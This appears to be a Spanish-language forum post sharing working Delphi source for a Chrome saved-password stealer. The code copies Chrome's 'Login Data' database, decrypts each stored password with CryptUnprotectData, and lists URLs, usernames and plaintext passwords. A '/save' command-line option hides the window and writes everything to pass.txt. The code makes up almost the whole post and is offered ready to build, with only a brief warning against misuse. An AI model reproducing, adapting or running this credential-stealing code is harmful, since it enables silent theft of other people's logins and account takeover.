solo probado en xp sp3//sigo en la cochina miceria:)
(pero como esta el codigo pueden modificarlo si no llegase a funcionar en otros sistemas superiores)
las librerias y unit necesarias las encuentran poniendo el nombre completo
en el cuadradito de gogle las descargan y las ponen en la misma carpeta
si quieren pueden agregarlas como recursos y extraerlas en el momento
tiene opcion comandline ej
c:\> aplicacion.exe /save
se ejecuta oculto y guarda el log en el directorio en el cual se ejecute //tambien pueden programar gurdarlo en otra ruta
listo y vayanse al carajo si lo usan para joder
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,unit2;
type
TForm1 = class(TForm)
Memo1: TMemo;
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
passwordrecovery:TStringList;
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
passwordrecovery:=TStringList.Create;
PasswordRecovery:=GetChromePasswords;
Memo1.Lines:=PasswordRecovery ;
passwordrecovery.free;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
if paramstr(1) ='/save' then begin
Application.ShowMainForm := False;
passwordrecovery:=TStringList.Create;
PasswordRecovery:=GetChromePasswords;
Memo1.Lines:=PasswordRecovery ;
passwordrecovery.free;
memo1.Lines.SaveToFile('pass.txt');
end;
end;
end.
unit Unit2;
{
Another Password Recovery Example
Made by Arethusa
Thanks to kcscm for having a solution, for cannot decrypt while Chrome is running.
}
interface
uses Windows, Classes, SysUtils, Registry, SQLiteTable3, CryptAPI, SQLite3DLL,
ActiveX, shlObj, StrUtils,dialogs,SHfolder; //BTMemoryModule
//Chrome
Function GetChromePasswords:TStringList;
Function GetShellFolder(CSIDL:integer):String;
implementation
//
function TempFolder: String;
var
bufFolder: array [0..MAX_PATH] of Char;
begin
GetTempPath(SizeOf(bufFolder), bufFolder);
Result := IncludeTrailingPathDelimiter(String(bufFolder));
end;
function GetShellFolder(CSIDL: integer): string;
var
pidl : PItemIdList;
FolderPath : string;
SystemFolder : Integer;
Malloc : IMalloc;
begin
Malloc := nil;
FolderPath := '';
SHGetMalloc(Malloc);
if Malloc = nil then
begin
Result := FolderPath;
Exit;
end;
try
SystemFolder := CSIDL;
if SUCCEEDED(SHGetSpecialFolderLocation(0, SystemFolder, pidl)) then
begin
SetLength(FolderPath, max_path);
if SHGetPathFromIDList(pidl, PChar(FolderPath)) then
begin
SetLength(FolderPath, length(PChar(FolderPath)));
end;
end;
Result := FolderPath;
finally
Malloc.Free(pidl);
end;
end;
Function CreateCopyName(FileName:string):String;
begin
Result:=FileName+' - Copy';
end;
//Chrome Komplett
//Chrome Hilfsfunktion
Function UncryptChromePW(MS:TMemoryStream):string;
var DBin, DBOut:Data_Blob;
s:string;
HArr:Array of Byte;
i:integer;
sHex:string;
P:PByte;
begin
//cbData member holds the length of the pbData member's byte string
// that contains the text to be encrypted.
MS.Position:=0;
DBOut.cbData := 0;
DBOut.pbData := nil;
DBIn.cbData := MS.Size;
GetMem(DBIn.pbData, DBIn.cbData);
DBIn.pbData:=MS.Memory;
if CryptUnprotectData(@DBIn,
nil,
nil,
nil,
nil,
0,
@DBOut) then
begin
P:=DBOut.pbData;
SetLength(HArr,0);
SetLength(HArr,DBOut.cbData);
for i:=0 to DBOut.cbData-1 do begin
HArr[i]:=P^;
inc(P);
end;
s:='';
for i:=0 To High(HArr) do begin
sHex:=IntToHex(HArr[i],1);
s:=s+chr(HArr[i]);
end;
result := s;
end
else begin
end;
DBOut.pbData:=NIL;
LocalFree(Cardinal(DBOut.pbData));
end;
//Chrome-Main-Funktion
Function GetChromeLoginData(LoginPath:string):TStringList;
var MS:TMemoryStream;
SQLiteDataBase:TSQLiteDatabase;
SQLiteTable:TSQLiteTable;
i:integer;
TempFile,temporal:string;
begin
Result:=TStringList.Create;
try
temporal:=tempfolder;
//crear archivo temporal o inyectarse
TempFile := temporal + inttostr(gettickcount) + '.tmp';
if CopyFile(pchar(LoginPath), pchar(TempFile), false) = false then exit;
SQLiteDatabase := TSQLiteDatabase.Create(TempFile);
//SQLiteDatabase := TSQLiteDatabase.Create(LoginPath);
SQLIteTable := SQLiteDatabase.GetTable('SELECT * From logins');
if SQLIteTable.Count > 0 then begin
for i := 0 to SQLiteTable.Count -1 do begin
Result.Add(SQLIteTable.FieldAsString(SQLIteTable.FieldIndex['origin_url']));
Result.Add(SQLIteTable.FieldAsString(SQLIteTable.FieldIndex['username_value']));
MS := SQLIteTable.FieldAsBlob(SQLIteTable.FieldIndex['password_value']);
//showmessage(inttostr(ms.Size));
Result.Add(UncryptChromePw(MS));
SQLIteTable.Next;
end;
end else Result.Add('Keine Passwfrter gespeichert!');
SQLIteTable.Free;
SQLiteDatabase.Free;
except on e:exception do Result.Add('Chrome-Failed'); end;
end;
Function GetChromePasswords:TStringList;
var path:string;
i:integer;
SL:TStringList;
begin
Result:=TStringList.Create;
try
path:=GetShellFolder(28); //User/Appdata/Local
path:=path+'\Google\Chrome\User Data\Default\Login Data';
if FileExists(path) then begin
CopyFile(PChar(path),PChar(CreateCopyName(path)),false);
path:=CreateCopyName(path);
SL:=TStringList.Create;
SL.AddStrings(GetChromeLoginData(path));
for i:=0 to SL.Count-1 do begin
Result.Add(SL[i]);
end;
DeleteFile(path);
end else
Result.Add('Chrome-File not Found!');
except on e:exception do Result.Add('Chrome failed!'); end;
end;
end.